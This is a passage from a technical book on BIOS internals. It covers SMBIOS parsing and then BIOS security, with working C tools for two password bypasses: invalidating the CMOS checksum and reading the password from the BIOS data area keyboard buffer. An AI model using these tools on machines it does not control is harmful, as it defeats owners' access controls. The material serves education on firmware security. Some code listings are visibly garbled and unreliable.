 if ((f = fopen(filename, "wt")) == NULL) {
   perror(filename);
   return 0;
 }

 for(i = 0; i < smbios_tbl_len; )
 }
}{
  switch(smbios_table[i])
  {
    case 0 : // Type 0 -- BIOS information
    {
      fprintf(f, "BIOS information structure\n");
      fprintf(f, "--------------------\n");
      fprintf(f, "Length = 0x%X\n", smbios_table[i+1]);
      fprintf(f, "Handle = 0x%X\n",
               *((unsigned short*)(&smbios_table[i+2])));
      fprintf(f, "BIOS starting address segment = "
               "0x%X\n",
               *((unsigned short*)(&smbios_table[i+6])));
      fprintf(f, "BIOS ROM size = 0x%X\n",
               smbios_table[i+9]);

      bios_vendor = smbios_table[i+4];
      bios_version = smbios_table[i+5];
      bios_date = smbios_table[i+8];

      // Point to the start of the strings
      i += smbios_table[i+1];

      // "Print" the strings
      len = 0;
      k = 1;
      j = 0;
      while(1)
      {
        // Check for end-of-structure marker
```
if(0 == *(unsigned short*)&smbios_table[i+j])
{
    if( len > 0 ) {
        memset(str, '\0', sizeof(str));
        strncpy(str, &smbios_table[i+j-len],
                len);
        if(k == bios_vendor) {
            fprintf(f, "BIOS vendor : %s\n", str);
        }else if(k == bios_version) {
            fprintf(f, "BIOS version : "%s\n", str);
        }else if(k == bios_date) {
            fprintf(f, "BIOS date : %s\n", str);
        }
    }
    fprintf(f, \n
    break;
}

if( ( 0 == smbios_table[i+j]) && (len > 0) ) {
    memset(str, '\0', sizeof(str));
    strncpy(str, &smbios_table[i+j-len],
            len);
    if(k == bios_vendor) {
        fprintf(f, "BIOS vendor : %s\n", str);
    }else if(k == bios_version) {
        fprintf(f, "BIOS version : "%s\n", str);
    }else if(k == bios_date) {
        fprintf(f, "BIOS date : %s\n", str);
    }
    len = 0;
    k++;
}

if( isprint(smbios_table[i+j]) ) {
    len++;
}

j++;
}

i += (j + 2); // Point to the next structure
break;

default:
 {
    // Move "length" byte in the formatted area of
    // the structure
    i += smbios_table[i+1]; // Point to the start of
    // the strings

    // "Print" the strings
    len = 0;
    k = 1;
    j = 0;
    while(1)
    {
        // Check for end-of-structure marker
        if(0 ==
            *((unsigned short*)(&smbios_table[i+j])))
        {
            if( len > 0 ) {
                memset(str, '\0', sizeof(str));
                strncpy(str, &smbios_table[i+j-len],
                        len);
                fprintf(f, "String no. %d : %s\n", k,
                        str);
            }
            fprintf(f, "\n\n");
            break;
        }

        if( ( 0 == smbios_table[i+j]) && (len > 0) ) {
            memset(str, '\0', sizeof(str));
            strncpy(str, &smbios_table[i+j-len],
                    len);
            fprintf(f, "String no. %d : %s\n", k,
                    str);
            len = 0;
            k++;
        }

        if( isprint(smbios_table[i+j]) ) {
            len++;
        }

        j++;
    }
}
i += (j + 2); // Point to the next structure
}break;

fclose(f);
return 1;

Listings 10.1–10.3 show how to access the SMBIOS information present in the system for Windows-based machines. Nevertheless, this information is also provided by the WMI subsystem in Windows. It’s possible that WMI doesn’t parse all of the SMBIOS structure table in the system. In that case, you probably want greater control over the SMBIOS structure table by parsing it yourself and using the information for your purposes. The use of bios_probe version 0.34 to dump SMBIOS data in my system\(^5\) is shown in figure 10.4.

The use of bios_probe version 0.34 to dump SMBIOS data in my system\(^5\) is shown in figure 10.4.

The system is built on an DFI 865PE Infinity motherboard, 512 MB of RAM, and a Celeron 2.0 GHz.

---

\(^5\) The system is built on an DFI 865PE Infinity motherboard, 512 MB of RAM, and a Celeron 2.0 GHz.
Hex dump 10.2 only shows the starting part of the SMBIOS structure table. It's too long; therefore, I've condensed it to save space. Listing 10.4 shows the text file result of the parsing process. This result is also a condensed version of the real text file.

**Listing 10.4 SMBIOS Structure Table Parsing Result in My System**

```
BIOS information structure
--------------------------
Length = 0x13
Handle = 0x0
BIOS starting address segment = 0xE000
BIOS ROM size = 0x7
BIOS vendor : Phoenix Technologies, LTD
BIOS version : 6.00PG
BIOS date : 12/28/2004
...
```

I've provided two screenshots in a local windows update server to give you a glimpse of what kind of remote data you can obtain through WMI. They are shown in figures 10.5 and 10.6.
Figure 10.5 Detailed information about a Windows machine that has been updated in the local Windows update server
Some detailed information about the Windows machine that has been connected to the local Windows update server is obtained through the WMI interface exposed by the remote machine to the local Windows update server.

At this point, you might be thinking, what can be done with the SMBIOS information? Well, for an attacker, it can be used to obtain detailed information about the target system, in case he or she wants to infect it with a rootkit placed in the hardware of the target system. However, the first step is to obtain administrator privilege.

Some WMI vulnerabilities have been exposed over the past few years, and those can be your ticket to your goal.
Chapter 11 BIOS Security Measures

PREVIEW

This chapter talks about security measures implemented in the BIOS and security measures at the operating system level related with the BIOS. The security measures come in the form of password protection, BIOS component integrity checks, operating system–level protection, and hardware-based security measures. The component integrity check is not meant to be a security measure by BIOS vendors. Nevertheless, it has accidentally become one against random code injection to the BIOS binary.

11.1. Password Protection

The BIOS provides a mechanism that uses passwords to protect the PC from unauthorized usage and BIOS configuration changes. Some BIOSs implement two types of passwords, user password and supervisor password. In some motherboards, there is additional control over this password under BIOS's Advanced BIOS Features menu in the Security Option setting. The Security Option setting consists of two selectable options, the System option and the Setup option. If you set the Security Option to System, BIOS will ask you for password upon boot. If you set the Security Option to Setup, BIOS will ask you for password when you enter the BIOS setup menu. As for the user password and supervisor password, I haven't found any differences between them. Only the Security Option setting shows a difference in a password authentication request in my motherboard, although yours may differ. Figure 11.1 shows the BIOS security option setting for my motherboard.

![BIOS Security Option Setting](image)

1 DFI 865PE Infinity revision 1.1; the BIOS date is December 28, 2004.
The password protection code implemented in BIOS is quite easy to break. There are two methods to break this password protection mechanism. The first one is to carry out a brute-force attack to the CMOS chip content, invalidating the CMOS chip checksum. (From this point on, I refer to the CMOS chip as simply CMOS.) With this method, you reset the contents of the CMOS chip to their default values, thereby disabling the password upon next boot. The second one is to read the password directly from the BIOS data area (BDA). Nevertheless, the second method is not guaranteed to work all the time. Endrazine described these methods in a SecurityFocus article. However, the person who discovered and shared these methods with the public for the first time was Christophe Grenier. I show you the implementation of these methods in Windows and Linux later. I explain the methods one by one.

11.1.1 Invalidating the CMOS Checksum

The first method to circumvent BIOS password protection is to invalidate the CMOS checksum. This method works only if the machine is already booted into the operating system. This way, you invalidate the CMOS checksum within the context of the operating system. If the machine is not powered, this method is not usable because the BIOS will ask for the password before it's booted to the operating system.

CMOS contents consist of at least 128 bytes of BIOS setting data. They are accessible through physical ports 0x70 and 0x71. Nevertheless, some motherboards use more than 128 bytes. There are three bytes of interest among the 128 bytes in CMOS, i.e., the bytes at offsets 0xE, 0x2E, and 0x2F. Offset 0xE contains the status of the CMOS, including the CMOS checksum; offset 0x2E contains the high-order byte of the CMOS checksum; and offset 0x2F contains the low-order byte of the CMOS checksum. Start with offset 0xE, which has a size of 1 byte. This offset contains CMOS diagnostic status. The meaning of each bit is as follows:

- Bit 7—Real time clock power status (0 = CMOS has not lost power, 1 = CMOS has lost power)
- Bit 6—CMOS checksum status (0 = checksum is good, 1 = checksum is bad)
- Bit 5—POST configuration information status (0 = configuration information is valid, 1 = configuration information in invalid)
- Bit 4—Memory size compare during POST (0 = POST memory equals configuration, 1 = POST memory does not equal configuration)

---

1 The chip that stores the BIOS setting.
2 See the article titled "BIOS Information Leakage" at http://www.securityfocus.com/archive/1/archive/1/419610/100/0/threaded.
4 Port 0x70 acts as the "address port," used to address the contents of the CMOS.
5 Port 0x71 acts as the "data port," used to read/write 1 byte from/into the CMOS chip.
- Bit 3—Fixed disk/adapter initialization (0 = initialization good, 1 = initialization bad)
- Bit 2—CMOS time status indicator (0 = time is valid, 1 = time is invalid)
- Bit 1–0—Reserved

When the CMOS checksum is invalid, the BIOS will reset the BIOS setting to the default setting. The preceding list shows that Bit 6 of offset 0xE indicates an invalid CMOS checksum with the value of one. This bit will be set if you invalidate the CMOS checksum at offset 0x2E or 0x2F. In my experiment, the value at offset 0x2E is replaced with its inversion. This is enough to invalidate the CMOS checksum. Now, I show how to implement this logic in bios_probe source code version 0.36. You can download this source code at http://www.megaupload.com/?d=UA8IJUHQ. This version of bios_probe is able to reset the CMOS checksum by using the method described previously within Windows XP/2000. Two files in the source code accommodate the CMOS checksum modification feature, i.e., cmos.c and cmos.h. Listings 11.1 and 11.2 show the related functions.

Listing 11.1 CMOS Checksum Reset Function Declaration in the cmos.h File
```
#ifndef __CMOS_H__
#define __CMOS_H__

// Irrelevant code omitted
int reset_cmos();
#endif //__CMOS_H__
```

Listing 11.2 CMOS Checksum Reset Function Implementation in the cmos.c File
```
int reset_cmos()

/*++
Routine Description:
    Resets the contents of the CMOS by writing invalid CMOS checksum
Arguments:
    None
Return Value:
    Not used, can be anything
--*/
{
    const unsigned CMOS_INDEX = 0x70;
    const unsigned CMOS_DATA = 0x71;
    unsigned char value;
    outb(0x2E, CMOS_INDEX);
```
As you can see in listing 11.2, the original CMOS checksum value at offset 0x2E is inverted and written back to that offset. Figure 11.2 shows how to use this CMOS checksum invalidation feature.

Figure 11.2 Resetting the CMOS checksum value with bios_probe

There are also some changes in the flash_rom.c file to accommodate the new input parameter to invalidate the CMOS checksum. They are shown in listing 11.3.

Listing 11.3 Changes in flash_rom.c to Accommodate CMOS Checksum Invalidation

```c
#include "cmos.h"

int main (int argc, char * argv[]) {
    int read_it = 0, write_it = 0, verify_it = 0,
    pci_rom_read = 0, pci_rom_write = 0,
    pci_rom_erase = 0, smbios_dump = 0,
    lock_w39v040fa = 0, cmos_dump = 0,
    cmos_reset = 0, bda_dump = 0;
```
Listing 11.3 shows that the changes in flash_rom.c mainly to accommodate the input parameter and call the `reset_cmos` function in the cmos.c file. As in previous chapters, `bios_probe` can run flawlessly only with the administrator privilege.

It's easy to implement the idea that you have learned in this subsection in Linux. Listing 11.4 shows the source code of a simple program to reset the CMOS checksum. You have to run this program as root to be able to obtain the necessary IOPL.

Listing 11.4 Linux Implementation of CMOS Checksum Invalidation in the cmos_reset.c File

```c
#include <sys/io.h>
#include <stdio.h>

int main(int argc, char** argv)
{
    const unsigned CMOS_INDEX = 0x70;
    const unsigned CMOS_DATA = 0x71;
    unsigned char value;

    // Try to obtain the highest IOPL
    if(0 != iopl(3))
    {
        printf("Error! Unable to obtain highest IOPL\n");
        return -1;
    }

    outb(0x2E, CMOS_INDEX);
    value = inb(CMOS_DATA);

    printf("original CMOS checksum = 0x%X\n", value);
}
```
value = ~value;
outb(0x2E, CMOS_INDEX);
outb(value, CMOS_DATA);
outb(0x2E, CMOS_INDEX);
value = inb(CMOS_DATA);
printf("new CMOS checksum = 0x%X\n", value);
return 0;
}

To compile the source code in listing 11.4, you can invoke GCC with the command shown in shell snippet 11.1 in Linux shell.

Shell snippet 11.1 Compiling Linux Version Source Code of CMOS Checksum Invalidation

gcc -o cmos_reset cmos_reset.c

The output from command in shell snippet 11.1 is an executable file named cmos_reset. You can execute it in the shell as shown in shell snippet 11.2.

Shell snippet 11.2 Running the cmos_reset Utility

root@opunaga:/home/pinczakko/BIOS_Passwd_Breaker# ./cmos_reset
original CMOS checksum = 0xA
new CMOS checksum = 0xF5

Shell snippet 11.2 shows the inverted CMOS checksum high byte as expected in the source code.

11.1.2 Reading the BIOS Password from BDA

The second method to circumvent BIOS password protection is to use information from BDA to obtain the BIOS password. *Again, this method works only if the machine is already booted into the operating system.* You read the contents of BDA within the context of the operating system. Nonetheless, this password breaking method is not guaranteed to work in all circumstances. I found out in my experiments that if the password length was less than eight characters, all of them exist in the BDA. However, if it's eight or more, not all password characters are available in the BDA within the operating system. This is because of the limited size of the keyboard buffer. Furthermore, I experimented in an Award BIOS version 6.00PG–based motherboard. Other BIOSs might give different results.
The BDA location starts at physical address 0x400. Typically, it spans 255 bytes. The BDA stores status data related to the interrupt service routines in the BIOS. The keyboard buffer used by the BIOS is at offset 0x1E within the BDA. The length of this buffer is 32 bytes. This is the location that you will dump into file to see the BIOS password. The last characters in this buffer are the BIOS password that the user enters during boot if the system is protected with a BIOS password.

As in the previous subsection, use bios_probe version 0.36 to read the contents of the BDA within Windows XP/2000. This version of bios_probe has been modified for that. Now, I show you the BDA dumping support in its source code. The declaration of the BDA dumping function is in the cmos.h file, as shown in listing 11.5.

```
Listing 11.5 BDA Dumping Function Declaration in the cmos.h File

#ifndef __CMOS_H__
#define __CMOS_H__

// Irrelevant code omitted
int dump_bios_data_area(const char* filename);
#endif //__CMOS_H__
```

The implementation of the BDA dumping function is in the cmos.c file, as shown in listing 11.6.

```
Listing 11.6 BDA Dumping Function Implementation in the cmos.c File

int dump_bios_data_area(const char* filename)
{ /*++
Routine Description:
   Dumps the contents of the keyboard buffer in BDA,
   i.e., the physical address 0x41E - 0x43D
Arguments:
   filename - The file name to dump BDA values into
Return Value:
   0 - Error
   1 - Success
--*/
    FILE * f = NULL;
    char * buf = NULL;
    volatile char * bda = NULL;
    const unsigned BDA_START = 0x41E;
    const unsigned BDA_SIZE = 32;

    // Map physical address 0x400-0x4FF
```
Minor changes are made in the flash_rom.c file to accommodate the BDA dumping function. They are shown in listing 11.7.

Listing 11.7 Changes in flash_rom.c to Accommodate BDA Dumping Function

```c
#include "cmos.h"
int main (int argc, char * argv[])
{
    // Irrelevant code omitted
}```
int bda_dump = 0;

// Irrelevant code omitted
} else if (!strcmp(argv[1], "-dump_bda")) {
    bda_dump = 1;
// Irrelevant code omitted
//
// If it's a BDA dump request, dump the keyboard buffer
// area to the file
if (bda_dump)
{
    if (NULL == filename) {
        printf("Error! the filename is incorrect\n");
    } else {
        printf("Dumping BIOS data area to file..\n");
        dump_bios_data_area(filename);
    }
    CleanupDriver(); // Cleanup driver interface
    return 0;
}
// Irrelevant code omitted

Now, I'll show you the result of dumping the keyboard buffer in my PC. Figure 11.3 shows the command to tell bios_probe to dump the BDA.

Hex dump 11.1 shows the result of dumping the BDA when I set the BIOS password to "testing" in my motherboard.

<table>
<thead>
<tr>
<th>Address</th>
<th>Hexadecimal Value</th>
<th>ASCII Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>00000000</td>
<td>0DE0 7414 6512 6512 731F 731F 7414 7414</td>
<td>..t.e.e.s.s.t.t.</td>
</tr>
<tr>
<td>00000010</td>
<td>6917 6917 6E31 6E31 6722 6722 6D1C 6D1C</td>
<td>i.i.nlng&quot;g&quot;....</td>
</tr>
</tbody>
</table>
The password string in the keyboard buffer is stored as ASCII characters paired with keyboard scan codes. For example, the \texttt{t} character is stored as \texttt{74h} and \texttt{14h}. \texttt{74h} is the ASCII code for the \texttt{t} character and \texttt{14h} is its scan code. I don't know why the characters of the password are repeated in the keyboard buffer; perhaps it's for Unicode compatibility. Nonetheless, when the password string consists of eight or more characters, the keyboard buffer is not large enough to store all of the characters. Hex dump 11.2 shows this when I set the BIOS password to "destruct" in my motherboard.

Hex dump 11.2 BDA Keyboard Buffer When the BIOS Password Is "Destruct"

<table>
<thead>
<tr>
<th>Address</th>
<th>Hexadecimal Value</th>
<th>ASCII Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>00000000</td>
<td>0D1C 0D1C 6512 6512 731F 731F 7414 7414</td>
<td>....e.e.s.s.t.t.</td>
</tr>
<tr>
<td>00000010</td>
<td>7213 7213 7516 7516 632E 632E 7414 7414</td>
<td>r.r.u.u.c.c.t.t.</td>
</tr>
</tbody>
</table>

As you can see in hex dump 11.2, the string of password characters stored in the keyboard buffer in the BDA is incomplete; the keyboard buffer only shows "estruct," yet the complete password is "destruct." I tried to enter "estruct" during the BIOS password request at boot time. It did not work. That means that Award BIOS version 6.00PG in my machine validates the entire BIOS password.

Now, I show you how to dump the BDA in Linux. It's quite easy to implement. Nonetheless, some quirks from the Linux's \texttt{mmap} function must be handled correctly to make the program works flawlessly. I name this small utility \texttt{bda_dump}. The overall source code of this application is shown in listing 11.8. The \texttt{bda_dump} utility must be executed with a root account; otherwise, you won't receive enough permission and the program will fail.

Listing 11.8 Linux BDA Dumper Source Code (bda_dump.c)

```c
/*
 * bda_dump.c: BIOS data area dumper by Darmawan Salihun
 */
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char** argv)
{
    int fd_mem;
    FILE * f_out = NULL;
    volatile char * bda;
    unsigned long size;
    const unsigned BDA_SIZE = 32;
```
const unsigned BDA_START = 0x41E;
char * buf = NULL;

if(argc < 2)
{
    printf( "Error! Insufficient parameters\n"
            "Usage: %s [out_filename]\n", argv[0]);
    return -1;
}

if(NULL == (f_out = fopen(argv[1], "wb"))){
    printf("Error! Unable to open output file handle\n");
    return -1;
}

if ((fd_mem = open("/dev/mem", O_RDWR)) < 0) {
    perror("Can not open /dev/mem\n");
    return -1;
}

// Map the BDA to the current process;
// note that you must map the physical memory in
// a 4-KB boundary because if you don't you'll see the
// response 'Error mmap /dev/mem: Invalid argument'.
// size = BDA_SIZE;

if(getpagesize() > size)
{
    size = getpagesize();
    printf( "%s: warning: size: %d -> %ld\n", __FUNCTION__,
            BDA_SIZE, (unsigned long)size);
}

// Map the physical memory starting at address 0
bda = mmap (0, size, PROT_WRITE | PROT_READ, MAP_SHARED,
            fd_mem, 0);
if (bda == MAP_FAILED) {
    perror("Error mmap /dev/mem\n");
    close(fd_mem);
    return -1;
}

if(NULL == (buf = malloc(BDA_SIZE)))
{
    perror("Insufficient memory\n");
    munmap((void*)bda, size);
    close(fd_mem);
}
return -1;
}
memcpy((void*)buf, (void*)(bda+BDA_START), BDA_SIZE);
fwrite(buf, sizeof(char), BDA_SIZE, f_out);
free(buf);
munmap((void*)bda, size);
close(fd_mem);
fclose(f_out);
return 0;
}

There is a quirk of the `mmap` function in Linux, which maps the physical memory when it is used with the `/dev/mem` file handle as its parameter. The `mmap` function is only able to map physical memory in a multiple of the page size of the processor's memory management unit. Furthermore, the physical memory that's mapped must lie in the corresponding page size boundary. In x86 architecture, this page size is 4 KB. Therefore, the mapped physical memory range must lie in the 4-KB boundary and its size must be at least 4 KB. That's why the code snippet in listing 11.9 is in the overall source code in listing 11.8.

Listing 11.9 Workaround for the Quirk of the `mmap` Function

```
// Map the BDA to the current process;
// note that you must map the physical memory in
// a 4-KB boundary because if you don't you'll see the
// response 'Error MMAP /dev/mem: Invalid argument'.
//
size = BDA_SIZE;
if(getpagesize() > size)
{
    size = getpagesize();
    printf( "%s: warning: size: %d -> %ld\n", __FUNCTION__, 
            BDA_SIZE, (unsigned long)size);
}
// Map the physical memory starting at address 0
bda = mmap (0, size, PROT_WRITE | PROT_READ, MAP_SHARED, 
            fd_mem, 0);
```

The preceding code is a workaround for the quirk of the `mmap` function because the BDA doesn't lie in 4-KB boundary and its size is not a multiple of 4 KB. To compile the code in listing 11.8, invoke GCC as shown in shell snippet 11.3.
Shell snippet 11.3 Compiling bda_dump Source Code

```bash
gcc -o bda_dump bda_dump.c
```

The output from the command in shell snippet 11.3 is an executable file named `bda_dump`. You can execute it in the shell as shown in shell snippet 11.4.

Shell snippet 11.4 Running the bda_dump Utility

```bash
root@opunaga:/home/pinczakko/BDA_dumper# ./bda_dump bda.bin
```

Shell snippet 11.4 shows that the page size is bigger than the `BDA_SIZE` constant in the `bda_dump` source code. You don't need to worry about it. That's because the workaround has been placed in the source code. Shell snippet 11.4 shows that the BDA keyboard buffer is dumped into a file named `bda.bin`. The result of the BDA dumping process in my system is shown in shell snippet 11.5. Note that I'm using a special `hex dump`\(^7\) formatting file named `fmt`. This file is the same as the file named `fmt` described in listing 7.9 in chapter 7.

Shell snippet 11.5 bda_dump Result

```bash
root@opunaga:/home/pinczakko/BDA_dumper# hexdump -f fmt bda.bin
000000  0D E0 74 14 65 12 65 12 73 1F 73 1F  ...t.e.e.s.s.
00000c  74 14 74 14 69 17 69 17 6E 31 6E 31  t.t.i.i.n1n1
000018  67 22 67 22 0D 1C 0D 1C              g " g " . . . .
```

The password that I entered in the BIOS setup for the machine where the `bda_dump` utility runs is “testing.” Shell snippet 11.5 shows that string in the BDA keyboard buffer.

At this point, you can conclude that the BDA dumping method is only reliable in certain circumstances; nevertheless, BIOSs other than Award BIOS version 6.00PG probably are vulnerable to this attack.

### 11.1.3 The Downsides—An Attacker's Point of View

From an attacker's point of view, both methods to break BIOS password protection that you learned previously have downsides:

1. They need administrator privilege to be executed. An attacker needs an additional exploit to raise his or her privilege level to administrator. This is an added security measure in the legitimate PC owner side.
2. At some points, the attacker must have physical access to the attacked machine because some machines need certain key presses to reload the default CMOS

---

\(^7\) The `hexdump` utility in Linux.
setting after a CMOS brute-force attack. This is necessary to boot the operating system after shutdown. Without pressing a certain key, the boot process will stop at BIOS initialization; the machine won't proceed further to boot the operating system. This is also an added security measure in the legitimate PC owner side.

3. Sometimes, knowing the BIOS password is not helpful to a remote attacker if the machine is already running in an operating system environment. For example, if the attacker's intention is to install rootkits, this could be easily done without the BIOS password if the machine is already booted to the operating system.

At this point, you might realize that BIOS password protection is meant to be a "local" security measure. It works against unlawful PC usage in a local environment. It works perfectly for systems that are shut down and powered on regularly, such as desktops in an office.

11.2. BIOS Component Integrity Checks

As you have learned in the previous chapters, every BIOS binary consists of some pure binary components, which are not compressed, and some compressed components. The BIOS code has a certain mechanism to check the integrity of each of these components. Most BIOSs use a checksum mechanism to check the integrity of their components.

The BIOS component checksum mechanism is not meant to be as a security measure. However, it can guard against "random" code injection into the BIOS binary because a BIOS component will be considered invalid when its checksum is wrong. If someone injects a code into a BIOS component without fixing all of the checksum, the BIOS will halt its execution at the checksum checking routine during system initialization because it detects a wrong component checksum and subsequently calls the boot block routine that will ask you to update the BIOS. In the worst-case scenario, if the boot block checksum is wrong, it's possible that the BIOS will halt the system initialization execution in boot block or reset the system repeatedly. The next subsections show you the implementation of the BIOS component checksum routines.

11.2.1. Award BIOS Component Integrity Checks

In Award BIOS versions 4.50 and 6.00PG, there are two types of checksums. The first one is an 8-bit checksum, and the second one is a 16-bit CRC. The 8-bit checksum is used for various purposes, for example, to verify the overall checksum of the system BIOS, along with the compressed components, and to verify the integrity of the header of compressed components. Listing 11.10 shows the 8-bit checksum calculation routine for the header of LZH compressed components in Award BIOS version 6.00PG. This routine is located in the decompression block.

---

3 Refer to table 5.2 in chapter 5 for a detailed LZH header format.
Listing 11.10 8-Bit Checksum Calculation Routine Sample in Award BIOS Version 6.00PG

<table>
<thead>
<tr>
<th>Address</th>
<th>Hex Values</th>
<th>Mnemonic</th>
</tr>
</thead>
<tbody>
<tr>
<td>1000:B337</td>
<td>Calc_LZH_Hdr_8bit_sum proc near ; ...</td>
<td></td>
</tr>
<tr>
<td>1000:B337</td>
<td>push  bx</td>
<td></td>
</tr>
<tr>
<td>1000:B338</td>
<td>push  cx</td>
<td></td>
</tr>
<tr>
<td>1000:B339</td>
<td>push  dx</td>
<td></td>
</tr>
<tr>
<td>1000:B33A</td>
<td>mov ax, 0</td>
<td></td>
</tr>
<tr>
<td>1000:B33D</td>
<td>movzx cx, lzh_hdr_len</td>
<td></td>
</tr>
<tr>
<td>1000:B342</td>
<td>next_hdr_byte:</td>
<td></td>
</tr>
<tr>
<td>1000:B342</td>
<td>movzx bx, lzh_hdr_len</td>
<td></td>
</tr>
<tr>
<td>1000:B347</td>
<td>sub bx, cx</td>
<td></td>
</tr>
<tr>
<td>1000:B349</td>
<td>movzx dx, byte ptr [bx+0]</td>
<td></td>
</tr>
<tr>
<td>1000:B34E</td>
<td>add ax, dx</td>
<td></td>
</tr>
<tr>
<td>1000:B350</td>
<td>loop next_hdr_byte</td>
<td></td>
</tr>
<tr>
<td>1000:B352</td>
<td>pop dx</td>
<td></td>
</tr>
<tr>
<td>1000:B353</td>
<td>pop cx</td>
<td></td>
</tr>
<tr>
<td>1000:B354</td>
<td>pop bx</td>
<td></td>
</tr>
<tr>
<td>1000:B355</td>
<td>and ax, 0FFh</td>
<td></td>
</tr>
<tr>
<td>1000:B358</td>
<td>Calc_LZH_Hdr_8bit_sum endp</td>
<td></td>
</tr>
</tbody>
</table>

Listing 11.10 is taken from the disassembly of the BIOS of Foxconn 955X7AA-8EKRS2 motherboard. The routine shown is called every time the Award BIOS decompression engine decompresses a compressed BIOS component. This routine is part of the so-called decompression block. The 8-bit checksum output of the routine in is placed in the `ax` register. You can use the binary signature\(^9\) from the hex values in listing 11.10 to look for this routine in another Award BIOS binary.

Now, proceed to the 16-bit CRC. First, let me refresh your memory about the compressed component in Award BIOS binary. Every compressed component in Award BIOS binary contains a header. The header contains a 16-bit CRC value. It's located 5 bytes before the end of the header.\(^10\) This 16-bit CRC is the checksum of the compressed component. It's calculated before the component is compressed and inserted into the overall BIOS binary. In most cases, Cbrom is used to carry out this process in Award BIOS binaries. The 16-bit CRC is inserted into the header of the component once the compression process is finished. This 16-bit CRC must be verified during system initialization to ensure that the decompression process contains no errors. Listing 11.11 shows the 16-bit CRC verification routine in Award BIOS version 6.00PG. This listing is also taken from the disassembly of the BIOS of Foxconn 955X7AA-8EKRS2 motherboard.

\(^9\) In this context, a binary signature is a unique byte sequence that identifies the routine or function of interest. It can be formed easily by concatenating the hex values of some consecutive assembly language mnemonics.

\(^10\) Refer to table 5.2 in chapter 5 for a detailed LZH header format.
<table>
<thead>
<tr>
<th>Address</th>
<th>Hex Values</th>
<th>Mnemonic</th>
</tr>
</thead>
<tbody>
<tr>
<td>1000:B2AC</td>
<td>60</td>
<td>pusha</td>
</tr>
<tr>
<td>1000:B2AD</td>
<td>B8 0C 01</td>
<td>mov si, 10Ch</td>
</tr>
<tr>
<td>1000:B2B0</td>
<td>B9 00 01</td>
<td>mov cx, 100h</td>
</tr>
<tr>
<td>1000:B2B3</td>
<td></td>
<td>Make_CRC16_Table proc near ; ...</td>
</tr>
<tr>
<td>1000:B2B3</td>
<td>B8 00 01</td>
<td>mov ax, 100h</td>
</tr>
<tr>
<td>1000:B2B6</td>
<td>2B C1</td>
<td>sub ax, cx</td>
</tr>
<tr>
<td>1000:B2B8</td>
<td>50</td>
<td>push ax</td>
</tr>
<tr>
<td>1000:B2B9</td>
<td>BB 00 00</td>
<td>mov bx, 0</td>
</tr>
<tr>
<td>1000:B2BC</td>
<td></td>
<td>next_CRC_byte:</td>
</tr>
<tr>
<td>1000:B2BB</td>
<td>77 F8 08</td>
<td>cmp bx, 8</td>
</tr>
<tr>
<td>1000:B2BC</td>
<td></td>
<td>pop bx</td>
</tr>
<tr>
<td>1000:B2BB</td>
<td></td>
<td>Make_CRC16_Table endp</td>
</tr>
<tr>
<td>1000:B2C8</td>
<td></td>
<td>current_bit_is_0:</td>
</tr>
<tr>
<td>1000:B2CA</td>
<td>D1 E8</td>
<td>shr ax, 1</td>
</tr>
<tr>
<td>1000:B2CA</td>
<td></td>
<td>current_bit_is_1:</td>
</tr>
<tr>
<td>1000:B2CA</td>
<td>43</td>
<td>inc bx</td>
</tr>
<tr>
<td>1000:B2CC</td>
<td>83 FB 08</td>
<td>cmp bx, 8</td>
</tr>
<tr>
<td>1000:B2CE</td>
<td>72 EC</td>
<td>jb short next_bit</td>
</tr>
<tr>
<td>1000:B2D0</td>
<td>5B</td>
<td>pop bx</td>
</tr>
<tr>
<td>1000:B2D1</td>
<td>89 00</td>
<td>mov [bx+si], ax</td>
</tr>
<tr>
<td>1000:B2D3</td>
<td>46</td>
<td>inc si</td>
</tr>
<tr>
<td>1000:B2D4</td>
<td>E2 DD</td>
<td>loop next_CRC_byte</td>
</tr>
<tr>
<td>1000:B2D6</td>
<td>61</td>
<td>popa</td>
</tr>
<tr>
<td>1000:B2D7</td>
<td>C3</td>
<td>Make_CRC16_Table endp</td>
</tr>
<tr>
<td>1000:B317</td>
<td></td>
<td>; In: ax = input_byte for crc16 calc</td>
</tr>
<tr>
<td>1000:B317</td>
<td></td>
<td>; Out : crc16 = new crc16</td>
</tr>
<tr>
<td>1000:B317</td>
<td></td>
<td>patch_crc16 proc near</td>
</tr>
<tr>
<td>1000:B317</td>
<td>60</td>
<td>pusha</td>
</tr>
<tr>
<td>1000:B31A</td>
<td>A1 0C 03</td>
<td>mov ax, crc16</td>
</tr>
<tr>
<td>1000:B31C</td>
<td>33 C6</td>
<td>xor ax, si</td>
</tr>
<tr>
<td>1000:B31F</td>
<td>2F 00</td>
<td>and ax, 0FFh</td>
</tr>
<tr>
<td>1000:B322</td>
<td>8B F0</td>
<td>mov si, ax</td>
</tr>
<tr>
<td>1000:B324</td>
<td>D1 E6</td>
<td>shl si, 1</td>
</tr>
<tr>
<td>1000:B326</td>
<td>8B 0C 01</td>
<td>mov bx, crc_table[si]</td>
</tr>
<tr>
<td>1000:B32A</td>
<td>A1 0C 03</td>
<td>mov ax, crc16</td>
</tr>
<tr>
<td>1000:B32D</td>
<td>C1 E8 08</td>
<td>shr ax, 8</td>
</tr>
<tr>
<td>1000:B330</td>
<td>33 C3</td>
<td>xor ax, bx</td>
</tr>
<tr>
<td>1000:B332</td>
<td>A1 0C 03</td>
<td>mov crc16, ax</td>
</tr>
<tr>
<td>1000:B335</td>
<td>61</td>
<td>popa</td>
</tr>
</tbody>
</table>
Listing 11.11 shows a routine named `Make_CRC16_Table`. This routine builds a lookup table to ease the calculation of 16-bit CRC values. Such calculation is a time-consuming task; that's why a lookup table needs to be built. The routine named `patch_crc16` calculates the 16-bit CRC values for every finished "window" during the decompression process. The Award BIOS component compression algorithm is based on a modified sliding-window algorithm. Therefore, the compressed component is decompressed on a window-by-window basis. A window in Award BIOS components contains 8 KB of data or code. Again, you can search for this routine easily by making a binary signature based on listing 11.11.

If you are modifying Award BIOS binary by using modbin, Cbrom, or both, don't worry about the checksums because both of these programs will fix the checksums for you. Nevertheless, attackers who want to inject code into the BIOS binary might choose a brute-force approach, disabling the checksum verification in the BIOS binary altogether by replacing the checksum verification routines with bogus routines. This is not recommended because it increases the possibility of system initialization failure. Nevertheless, hackers can use it as a last resort.

11.2.2. AMI BIOS Component Integrity Checks

